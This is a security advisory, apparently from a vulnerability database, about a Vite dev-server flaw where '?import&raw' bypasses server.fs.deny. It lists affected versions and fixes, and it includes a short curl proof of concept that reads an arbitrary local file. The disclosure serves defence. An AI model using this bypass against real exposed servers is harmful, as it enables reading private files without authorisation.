Loading advisory.
Loading advisory.
Vite's `server.fs.deny` is bypassed when using `?import&raw`
The contents of arbitrary files can be returned to the browser.
Published 2024-09-17 18:44 UTC · Modified 2026-09-10 03:50 UTC
Severity and EPSS are shown separately. Helm does not combine them into one score. How tiers work
| Package | Ecosystem | Affected | Fixed in | Upgrade command |
|---|---|---|---|---|
| vite | npm | >= 5.4.0, < 5.4.6 >= 5.3.0, < 5.3.6 >= 5.2.0, < 5.2.14 >= 4.0.0, < 4.5.4 < 3.2.11 >= 5.0.0, < 5.1.8 | 5.4.6, 5.3.6, 5.2.14, 4.5.4, 3.2.11, 5.1.8 | npm install vite@5.4.6npm install vite@5.3.6npm install vite@5.2.14npm install vite@4.5.4npm install vite@3.2.11npm install vite@5.1.8 |
The contents of arbitrary files can be returned to the browser.
@fs denies access to files outside of Vite serving allow list. Adding ?import&raw to the URL bypasses this limitation and returns the file content if it exists.
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
$ echo "top secret content" > /tmp/secret.txt
# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"
<body>
<h1>403 Restricted</h1>
<p>The request url "/tmp/secret.txt" is outside of Vite serving allow list.
# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...No public exploit code known to Helm's sources (Nuclei templates, Metasploit, Exploit-DB and PoC-in-GitHub). That does not mean none exists.
EPSS went from 0.011 on 2026-11-24 to 0.005 on 2026-11-26, over 2 recorded scores.
| Date | Score | Previous | Model |
|---|---|---|---|
| 2026-11-24 | 0.011 | first score | v2026.06.15 |
| 2026-11-26 | 0.005 | 0.011 | v2026.06.15 |